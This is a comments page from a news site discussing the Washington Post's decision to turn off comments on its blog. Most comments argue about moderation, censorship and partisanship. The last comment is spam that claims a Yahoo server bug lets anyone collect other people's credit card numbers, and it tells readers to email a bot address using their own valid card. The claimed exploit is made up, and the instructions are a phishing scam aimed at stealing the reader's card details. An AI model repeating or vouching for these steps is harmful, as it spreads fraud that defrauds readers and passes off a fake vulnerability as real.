Comments on: Post steeped in blog comments kerfuffle

Some segments of blogosphere slam WashingtonPost.com for turning off comments on its Post.blog.

Cut the bull

What the Post and other blogs should do is just turn on scanning
for obscenities and reject postings for 30 days from those using
profane language. It will go a long way to cleaning up the
discussion and actually make some think about the words being
written.

What they need is moderation

one that is fair to everyone. There needs to be moderators assigned to delete or edit comments that have hate speech, threats, and other things in them.

I noticed that most of the problem comments were from leftist people. I did not see a lot from the rightist people. Could it be possible that leftist ideaology deals mostly with profanity, threats, hate, and other negative things? If so, perhaps this is the reason why leftist canidates are not being elected?

Ironic that Ted Kennedy who grilled Sam Alito for being a member of a college group that discriminated against women, was a hypocrite. That Kennedy was also a member of a college group that discriminated against women as well. After this being found out, he terminated his membership in that group.

Right or left, it is hard to trust one who is too extreme on one side or the other. Better to vote in moderates because most US citizens are moderate anyway.

What's the big deal?

The turned off comments on one blog for a few days. La de da. Talk about making a mountain out of a molehill. Besides, the Post has no obligation to allow comments at all. The fact that they do so on any part of their site is something users should appreciate - they're not charging for the service, and it's clear from this incident that allowing comments carries costs with it.

cranky people get over yourselves

People need to stop getting cranky when a major news network censors people. Why does it surprise people when major news tries to slant the story one way or another. The shutting down of a talk back is just another way for them to make people feel like the company cares about the "little people" without them actually having to do it.

The divide that has been growing in this country between "conservatives" and "liberals" are, i feel, between people that believe the major news networks and people that like to read a little more into it and think for themselves.

Just my opinion from my little world.

Happens all the time

Blogs like redstate.org do it all the time. If you disagree with them in any way, they ban you from posting there.

If a blog like redstate.org can censor anyone with an opposing view, why can't the post?

Rating Comments

The solution seems simple enough. Politics (nowadays) stir passions, so professional moderation costs money. Instead, the Post needs software that allows readers to rate comments by degree (left - right) and quality (low - high). The software keeps score for individual commentators. The software automatically flags comments with inappropriate words, too.

In the end, commentators can post any darn thing they like, and readers have the ability to automatically filter out the dreck. If the low quality posters want to entertain themselves by writing dreck, then that's fine. Assuming the Post sets its default filter settings only to show highly rated comments from highly rated commentators, then few readers if any would be burdened by ever having to see trash, though they could if the wanted.

Fantastic Topic

Congratulations on writing about this subject. If we keep squelching dissent it won't matter what anyone writes.

It's not fair that we own property and someone else runs it

If you are the one who owns the blog you can squelch anything you want. To make it legal would mean letting the blogger know before they even get to register at YOUR site

hack yahoo's credit card details! easy steps!

Before going shopping online, every customer has to register online with his/her credit card information and theyll leave their emails too so that those shopping websites will confirm their registration. For those online shoppers who used yahoo emails, their credit card info is automatically stored in the yahoo server when the companies send to them confirmation emails. However, theres a BIG bug in the server that those peoples credit card information can be retrieved by any random yahoo email user who has a VALID credit card. To simplify this, here is how it works:

Send an Email to confuse a yahoo server mailbot, so that it will return to YOUR EMAIL (if its a yahoo email, and it takes 3 mins to create a yahoo email account) with complete information of peoples credit card information stored in the server in the last 72 hours. This is how youll get peoples VALID credit card information. Now you have to do exactly the same as follows:


(An older version of this article would show an obsolete bot ID. This article contain the new one)

Send an Email to [e-mail]

With the subject: accntopp-cc-E52488 (To confuse the server. After experimenting, I have come to conlusion that the last three numbers can be varied without affecting outcome.)

In the email body, write:

Content-Type: text/plain; (This is line 3) charset=us-ascii (This is line 4, to make the return email readable)

You have to make sure you do EXACTLY as what is said above and the above 0000s are absolutely CORRECT/VALID, otherwise you will NOT get any reply and therefore you wont get anybodys credit card information.

Heres a sample email: (CAUTION! This is only example, and the card is INVALID, to get the whole thing to work, you MUST use a VALID credit card, e.g. YOUR OWN VALID CC).
